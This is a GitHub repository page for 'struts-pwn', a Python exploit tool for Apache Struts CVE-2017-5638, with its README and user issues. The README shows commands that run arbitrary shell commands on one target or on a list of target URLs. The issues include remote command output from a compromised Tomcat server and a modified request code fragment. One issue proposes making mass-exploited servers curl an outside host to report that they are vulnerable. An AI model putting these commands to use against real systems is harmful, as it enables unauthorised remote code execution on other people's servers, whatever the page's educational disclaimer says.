mazen160/struts-pwn

An exploit for Apache Struts CVE-2017-5638

struts-pwn

An exploit for Apache Struts CVE-2017-5638

Usage

Testing a single URL.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

Testing a list of URLs.

python struts-pwn.py --list 'urls.txt' -c 'id'

Checking if the vulnerability exists against a single URL.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

Checking if the vulnerability exists against a list of URLs.

python struts-pwn.py --check --list 'urls.txt'

Requirements

• Python2 or Python3
• requests

Legal Disclaimer

This project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

The project is licensed under MIT License.

Author

Mazin Ahmed

• Website: https://mazinahmed.net
• Email: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed

struts-pwn's Issues

ssl problem

the exploit code failed against https websites

Script Kiddies in log

Seeing this in my logs from a Script Kiddie.

80.15.195.28 - - [30/Apr/2017:10:34:21 +0000] "GET / HTTP/1.1" 200 0 "-" "struts-pwn (https://github.com/mazen160/struts-pwn)"

False negative on Struts 2.5.12

Just installed Struts 2.5.12 on Tomcat 9 as a test target running locally

http://127.0.0.1:8080/struts2-showcase/index.action shows the 'Welcome!' screen

$ ./struts-pwn.py -u 'http://127.0.0.1:8080/struts2-showcase/index.action'

[*] URL: http://127.0.0.1:8080/struts2-showcase/index.action
[*] Status: Not Affected.

Same result with any URL (even non-existent ones)

Issue with requests partial read

Urls have been obfuscated. On a vulnerable struts server, using the default struts-pwn, an IncompleteRead is returned with 0 bytes

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: xxxx/test.action
[*] CMD: id
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
ERROR
[%] Done.

If this is swapped to be urllib2 however, a partial response is received:

    try:
        #rq = requests.get(url, headers=headers, timeout=timeout, allow_redirects=False) 
        #output = rq.text
        request = urllib2.Request(url, headers=headers)
        request = urllib2.urlopen(request).read()
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        print e.partial
        output = 'ERROR'
    return(output)

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: http://xxxx/test.action
[*] CMD: id
EXCEPTION::::--> IncompleteRead(54 bytes read)
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

ERROR
[%] Done.

I've yet to identify what behind the scenes is causing this error. Urllib3 appears to have the same behaviour as urllib2 (although I can't work out how to decode the response). Any idea if the way requests is working is causing issues?

passing url to the command var

Hey dude,

When doing a list any way to provide the url as a var in the command so you can log against which sites are vun?

python struts-pwn.py --list 'urls.txt' -c 'curl -L https://mysite.com/test.php?url='

error 104 - Connection reset by peer

Strangely enough, if I run the python script with --check, I get a response 200 and it shows my site as vulnerable.

If I try to run the exploit, then I get an Exception:
EXCEPTION::::--> ('Connection aborted.', error(104, 'Connection reset by peer'))

Any ideas what I can do to debug where/why the exception is being generated with the exploitable content-type?